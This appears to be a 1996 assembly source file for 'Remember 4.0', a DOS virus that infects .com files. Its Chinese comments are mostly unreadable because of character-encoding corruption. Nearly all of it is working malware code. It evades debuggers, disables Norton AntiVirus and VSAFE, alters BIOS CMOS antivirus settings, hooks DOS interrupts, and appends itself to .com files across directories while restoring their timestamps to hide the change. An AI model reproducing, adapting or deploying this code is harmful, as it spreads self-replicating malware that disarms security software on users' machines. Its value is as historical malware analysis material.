OvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvel v v e »OÆW«Â¤O¯f¬r¬ã¨s²Õ´ ²Ä ‘D ´Á Âø»x P.004 e l [¯f¬r] l O O v Remember 4.0 Min Jean v e E-Mail: ovel.bbs@ntu.edu.tw e l l OvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvel ; ////////////////////////////////////////////////////// ; ; ²×©ó¦Ò§¹¸Õ¤F, §Q¥Î³o´X¤Ñ±Nµù¸Ñ¼g¤F¼g. ; ¦¹¬rÄ~¥H©¹§@­·, ¤£±`¾n, ¥u·P¬VCOM........ ; ¥»ª©³Ì¤j¯S¦â¬O¥[¤J¤FDisable NAV & VSAFE & BIOS AV ; ¦Ü©ó¬O¦p¦ó§@¨ìªº©O, ¬Ý¬Ý¤U­±ªºµ{¦¡, ´N¯àÁA¸Ñ°Õ... ; ¦n°Õ, ¼o¸Ü¤£¦h¸Ü, ºCºC¬ã¨s§a, ¤£À´´N½½®Ñ... ; ³Ì«á­n»¡ªº¬O"¦³¥»¨Æ¡Ð¦Û¤v¼g¤@­Ó, ¨S¥»¨Æ¡Ð¦h¦h¬Ý®Ñ ; ,¤£­n§@¹Ú" ´N³o¼Ë°Õ, ºCºC¬ã¨s§a...:) ; ; ////////////////////////////////////////////////////// ; This is source code of [ Remember 4.0 ] ; Written by Jean at OVEL, Tanwan Power ; 1996.06.02 ; id_word equ 'rE' code segment assume cs:code,ds:code,es:code .286 .radix 16 org 0100h start: nop nop nop nop nop vir_start: mov bp,sp ; anti-trace and cli ; anti-tbclean. xor sp,sp mov sp,bp sti go: int 01h int 03h call begin ; ³o¸Ì´N¬O...§Ú¤]¤£ª¾¹D..¼H begin: pop bp sub bp,offset begin ;bp=bp-begin mov ax,0fe02h ;disable_NAV mov si,4e41h ; mov di,4e55h ; int 2fh ; mov ax,0fa01h ; ¨þ¨þ¨þ...³o©Û¹ê¦b¬O¦b§@¤°»òªº©O, ´N¬O mov dx,5945h ; disable vsafe , ¦Ü©ó«ç»ò§@¨ìªº, ¬Ý¬Ý¤¤ int 16h ; Â_¬O¥Îint 16h ´Nª¾¹D­ì²z°Õ..:) mov ah,13h int 2fh ; ¨ú int 13h ­ì©l¶i¤JÂI mov cs:bios_int13,dx mov cs:bios_int13[2],ds int 2fh check_av_cmos: ; ¥H¤U³o¬qµ{¦¡À³¸Ó¥u¹ï AMIBIOS ¦³®Ä ; ¦]¬°§Úªºbios ¬Oami ªº. ; ¥H¤U³o¬q­Y§A¤£ÁA¸Ñªº¸Ü,½Ðtrace ¬Ý¬Ý,§A´N¾å±o¬O¦b§@¤°»ò ; PS_1 ¥²»Ý¬O¦bav ¥\¯à¥´¶}«á¤~¯àµo´§¤U­±³o¬qµ{¦¡ªº¥\¯à.:) ; ­Y¨S¦³¥´¶}ªº¸Ü´Nª½±µ¸õ¨ì show ªº¦a¤èÄ~Äò°õ¦æ.. ; PS_2 ­Y¤£ÁA¸Ñin/out ½Ð¦Û¦æ¬d®Ñ mov dx,70 mov al,34 out dx,al inc dx in al,dx push ax and al,80 pop ax jz get_date ; av ¥\¯à¨S¦³enable ªº¸Ü´N¬O¸õ¨ì¹Æ.. and al,7 out dx,al dec dx mov al,3e out dx,al inc dx in al,dx mov ah,al mov al,3f dec dx out dx,al inc dx in al,dx sub ax,80 out dx,al mov al,3e dec dx out dx,al inc dx mov al,ah out dx,al jmp get_date db 6f get_date: mov ah,2ah ;get date int 21h ; cmp dx,0418h ;check date 04/24 jnz continue ;dx ¤£µ¥©ó 0418(04/24) ´N¸õ¨ìcontinue ;­Y¬OÄ~Äò°õ¦æ show: mov ax,9100h ; int 10h ; cmp ax,9100h ;§PÂ_°O¾ÐÅ餤¬O§_¦³¤¤¤å¦s¦b jz no_chinese ;¤£¬O´N¸õ¹Æ mov ax,804eh ;­Y¬O¦b­^¤å¼Ò¦¡´N¤Á´«¨ì¤¤¤åª¬ºA int 10h ; mov ah,09h ;show ¤¤¤å°T®§ mov dx,offset msg ; int 21h ; jc no_msg jmp continue no_chinese: mov ah,09h ;show ­^¤å°T®§ mov dx,offset e_msg ; int 21h ; jc no_msg jmp continue no_msg: mov word ptr cs:reg_ax,4c00h continue: mov [bp+offset old_ss],ss xor ax,ax ; mov ss,ax ; mov ss,ds:[bp+offset old_ss] mov ax,3521h ;ÄdºI int 21 int 21h mov word ptr [bp+offset oldint21h],bx mov word ptr [bp+offset oldint21h+0002h],es push cs pop es mov ax,1203h ; ¨ú±o­ì©l int 21h ªº¸`°Ï int 2fh ; xor di,di ; find_int21: inc di ; cmp di,0fff8h jae find_int21_exit cmp word ptr [di],80fah jne find_int21 cmp word ptr [di+02h],6cfch jne find_int21 cmp byte ptr [di+04h],77h jne find_int21 xchg dx,di ;¸ê®Æ¤¬´« mov ax,2521h ;±Nint 21 «ü¦V¦Û¤vªº isr ¶i¤JÂI int 21h find_int21_exit: push cs pop ds lea si,[bp+offset head_read] mov di,0100h cld movsb movsw movsw mov ah,1ah ;³]©w·sªºdta ¦ì§} lea dx,[bp+offset newdta] ;·sªºdta °_©l¦ì§} int 21h mov ah,47h ; xor dx,dx ;dx=0 lea si,now_dir[bp] ;±N¥Ø«eªº¤u§@¸ô®|Àx¦s int 21h ; search: mov ah,4eh ;§ä´M¬Û²ÅªºÀÉ®× lea dx,[bp+offset findfile] ;§ä´M*.com ÀÉ int 21h ; jc no_file ; ­Y¨S¦³¬Û²ÅªºÀÉ®×´NÂ÷¶}¹Æ. infect_it: call infect mov ah,4fh ; ©Ó±µah,4eh Ä~Äò´M§ä int 21h ; jnc infect_it ; §ä¨ì´N·P¬V! mov ah,3bh ; ³o­Ó¸ô®|ªºÀɮ׳£·P¬V§¹¤F lea dx,next_dir[bp] ; ¨ì¤U­Ó¥h§ä (cd..) int 21h ; jnc search ; ¤w¸g¨ì¤F¤U­Ó¸ô®|¤F, ¥ý¦A¥hcheck ¤@¤U ; ­Y¤w¸g¨ì¤F®Ú¥Ø¿ý, ´NÄ~Äò¤U¤@¦æµ{¦¡ no_file: mov ah,3bh ; ¦^¨ì­ì¨Óªº¤u§@¸ô®|, ³o¼Ë´N¤£·|³Qµo²{ lea dx,now_dir[bp] ; ¸ô®|§ïÅܹL¤F...:) int 21h ; mov ah,1ah ;³]©w­ìdta °_©l¦ì§} mov dx,0080h ;dta °_©l¦ì§} int 21h mov ax,2521h ;«ü¦V¦Û¤vªºint 21 lds dx,dword ptr [bp+offset oldint21h] int 21h push cs pop ds mov ax,0100h ; ¨þ¨þ...§¹¦¨¹Æ... push ax ; ret ; set_int13: ; ³] int 13h ¨ì­ì©l¶i¤JÂI mov ax,3513h int 21h ; ¨ú¥Ø«eªº int 13h mov cs:old13,bx ; «O¦s°_¨Ó mov cs:old13[2],es mov dx,cs:bios_int13 mov ds,cs:bios_int13[2] mov ax,2513h int 21h ; ±N int 13h ³]¨ì­ì©l¶i¤JÂI push cs pop ds ret msg db 0dh,0ah,0dh db '¢z------------------------------¢{',0dh,0ah db '¢x [ Remember 4.0 ] ¢x',0dh,0ah db '¢x ¢x',0dh,0ah db '¢x ¡± ¯¬ ´¿©É¬Ã ¥Í¤é§Ö¼Ö ¡± ¢x',0dh,0ah db '¢x ¢x',0dh,0ah db '¢x ³Ì¯uªº·P±¡ ³Ì¯uªº¯¬ºÖ ¢x',0dh,0ah db '¢x ¢x',0dh,0ah db '¢x ¦b¦¹¨è³£±N¥I½Ñ©ó©p ¢x',0dh,0ah db '¢x ¢x',0dh,0ah db '¢x Ä@¦¹®É©p¯à¦¬¨ì³o¬ð¨Óªº¯¬ºÖ ¢x',0dh,0ah db '¢x ¢x',0dh,0ah db '¢u------------------------------¢t',0dh,0ah db '¢x- Written by Jean at O.V.E.L -¢x',0dh,0ah db '¢|¢w¢w¢w¢w¢w¢w¢w¢w¢w¢w¢w¢w¢w¢w¢w¢}',0dh,0ah db 07h,'$' e_msg db 0dh,0ah,0dh db ' <<< Welcome >>> ',0dh,0ah db '=================================',0dh,0ah db ' The OVEL bbs Tel is 02-927-7432 ',0dh,0ah db '=================================',0dh,0ah db 07h,07h,07h,'$' infect proc near lea si,newdta[bp+15h] ;ÄÝ©Ê/®É¶¡/¤é´Á/ªø«× .. mov cx,4 ; lea di,file_attr[bp] ; rep movsw movsb lea dx,newdta[bp+1eh] ; mov ax,4301h ;³]¦¨ÀÉ®×ÄÝ©Ê xor cx,cx ;·íµM¹Æ cx ­nµ¥©ó 0 int 21h ; mov ax,3d02h ;¶}±Ò¤@­Ó¥iŪ¼gªºÀÉ®× lea dx,[bp+offset newdta+001eh] ;ds:dx=Àɮתº¸ô®|©M¦WºÙ int 21h jc open_error xchg bx,ax ;¸ê®Æ¤¬´« mov ah,3fh ;Ū¨ú¤@­ÓÀÉ®× mov cx,0005h ;Ū¨úªºbyte ¼Æ lea dx,[bp+offset head_read] ;½w½Ä°Ïªº¦ì§} int 21h cmp word ptr [bp+offset head_read+0003h],id_word je close_file mov ax,0242h ;¿é¤J¤@­Ó¦r¤¸ xchg ah,al ; xor dx,dx ; mov cx,dx ; int 21h sub ax,0003h mov [bp+offset head_write+0001h],ax mov ah,40h ;¼gÀÉ mov cx,vir_size ;¼g¤Jªºbyte ¼Æ lea dx,[bp+offset vir_start] ;½w½Ä°Ï¦ì§} int 21h mov ax,4200h ;²¾°ÊŪ¼g«ü¼Ð(²¾°Ê¤èªk al=0 ±qÀY¶}©l) xor cx,cx ; cwd int 21h mov ah,40h ;¼gÀÉ mov cx,0005h ;¼g¤Jªºbyte ¼Æ lea dx,[bp+offset head_write] ; int 21h close_file: mov ax,5701h mov cx,word ptr [offset file_time+bp] ;«ì´_®É¶¡ mov dx,word ptr [offset file_date+bp] ;©M¤é´Á:) int 21h mov ah,3eh ;ÃöÀÉ int 21h lea dx,newdta[bp+1eh] ; «ì´_ÄݩʹÆ.. xor cx,cx ; ¨þ¨þ¨þ..:) mov cl,byte ptr [offset file_attr+bp] ; ³o¸Ì°È¥²¦bÃöÀÉ mov ax,4301h ; ¤~§@, int 21h ; mov ax,0fe01h ;enable_NAV mov si,4e41h ; mov di,4e55h ; int 2fh ; open_error: ret infect endp head_read db 0cdh,20h,00h,00h,00h head_write db 0e9h,00h,00h dw id_word next_dir db '..',0 now_dir db 64 dup(0) findfile db '*.com',00h old_ss dw 0000h oldint21h dd 00000000h vir_size equ $-offset vir_start newdta db 2bh dup(00h) reg_ax dw ? bios_int13 dw ?,? old13 dw ?,? file_attr db ? file_time dw ? file_date dw ? code ends end start